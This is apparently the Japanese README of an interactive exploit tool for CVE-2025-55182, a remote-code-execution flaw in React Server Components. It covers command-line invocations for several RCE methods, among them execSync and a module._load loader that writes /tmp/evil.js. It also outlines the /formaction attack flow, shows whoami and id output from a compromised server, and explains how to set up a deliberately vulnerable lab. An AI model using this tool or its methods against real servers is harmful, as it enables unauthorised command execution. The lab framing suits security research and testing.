🧱 脆弱な製品とバージョン

✅ RSC 機能を含むプロジェクトは、React とは別に react-server-dom-* モジュールも必ず最新バージョンにアップグレードする必要があります。

📚 Table of Contents

• 🗂️ ディレクトリ構造
• 🧩 主な機能
• 📦 インストール方法
• 🚀 実行例
• 💬 インタラクティブコマンド入力例
• ⚠️ セキュリティ注意事項
• 📚 技術参考
• 📄 ライセンスおよび使用条件

🗂️ ディレクトリ構造

🧩 主な機能

✅ 脆弱サーバーで RCE が可能かインタラクティブ方式でテスト
✅ child_process#execSync (デフォルト) または module#_load 方式をサポート
✅ コマンド実行結果をログファイルに保存
✅ ユーザーが直接入力したシステムコマンドをサーバーに送信

📦 インストール方法

🚀 実行例

1. 基本 RCE テスト (execSync 方式)

   • child_process.execSync() を使用したコマンド実行
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce

2. 2段階 RCE テスト (module#_load 方式)

   • 悪意のある JS ファイルを作成後 module#_load を介して実行
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad

3. RSC ベース RCE テスト (--rce2 オプション)

   • Next.js のサーバーコンポーネント処理パスを介したペイロード実行
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce2

4. コマンド実行結果ログ保存

   • すべてのコマンド結果を指定のログファイルに保存
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log

5. 全機能活用 (方式 + ログ)

   • moduleLoad 方式とログ保存を併用
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.log

6. ペイロードデバッグ出力

   • サーバー送信前にペイロードをコンソールに出力
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --debug

🚧 脆弱な React サーバー実習環境 (OCI/Ubuntu)

vulnerable-react-env フォルダには、CVE-2025-55182 を再現できる 意図的に脆弱な React + Express サーバー が含まれています。

1. 迅速な一括設定 (推奨)
   
   • ./setup_vulnerable_env.sh を実行すると、apt パッケージインストール → nvm/Node.js 20 インストール → npm install が一度に完了します。
     
   • 完了後、cd vulnerable-react-env && npm start または npm run dev でサーバーを起動します。
     
   • ⚠️ npm run だけ入力するとスクリプトリストのみ出力されます。必ず npm start (または npm run start) のようにスクリプト名を指定してください。
     
   • 環境を整理するには ./uninstall_vulnerable_env.sh で node_modules、moduleLoad ペイロード、 (オプション) Node 20 および nvm を削除できます。
     
   • ❗️ ERR_MODULE_NOT_FOUND: Cannot find package 'express' などの依存関係エラーが出た場合は、cd vulnerable-react-env && npm install で node_modules をインストールした後、再度 npm start してください。
     
2. 手動設定 (代替)
   
   • sudo apt update && sudo apt install -y curl build-essential
     
   • curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.sh
     
   • nvm install 20 && nvm use 20
     
   • cd vulnerable-react-env && npm install
     
   • npm start (デフォルトポート: 3000)
     
3. 脆弱性体験
   
   • ブラウザで http://localhost:3000 にアクセスし、フォームから _payload と cmd を送信
     
   • または vulnerable-react-env/README.md の curl 例で RCE フローを再現
     

⚠️ 研究・教育目的以外の使用禁止。インターネットに公開しないでください。

💬 インタラクティブコマンド入力例

💬 入力するシステムコマンド: whoami
✅ 応答コード: 200
📄 応答内容: {"success":true,"result":"www-data"}

💬 入力するシステムコマンド: id
✅ 応答コード: 200
📄 応答内容: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}

💬 入力するシステムコマンド: exit
👋 終了します。

⚠️ セキュリティ注意事項

❌ 本番環境では絶対に使用しないでください。
✅ このスクリプトはローカルテスト環境または隔離された VM でのみ使用してください。
🛠️ --method moduleLoad 方式は /tmp/evil.js に実際のファイルを作成します。
🧾 --log オプションを使用する場合、出力結果が平文で保存されるため、ファイルアクセスを制限してください。
🔐 すべてのリクエストは、脆弱なサーバーで実際の JavaScript コードが実行されることを確認します。

📚 技術参考

• 公式 CVE: CVE-2025-55182

• Exploit 方式:

  1. child_process#execSync
  2. vm#runInThisContext
  3. fs#writeFileSync
  4. module#_load

• 攻撃フロー:

  1. /formaction エンドポイントに特殊な multipart/form-data を送信
  2. サーバーで requireModule() を呼び出し
  3. プロトタイプチェーンまたはバウンドされた関数実行を介して RCE 発生

📄 ライセンスおよび使用条件

このプロジェクトはセキュリティ研究、監査、テストの目的でのみ提供されており、
実際のシステムへの無断使用は違法です。

本ツールの使用によって生じたすべての法的責任は利用者自身にあります。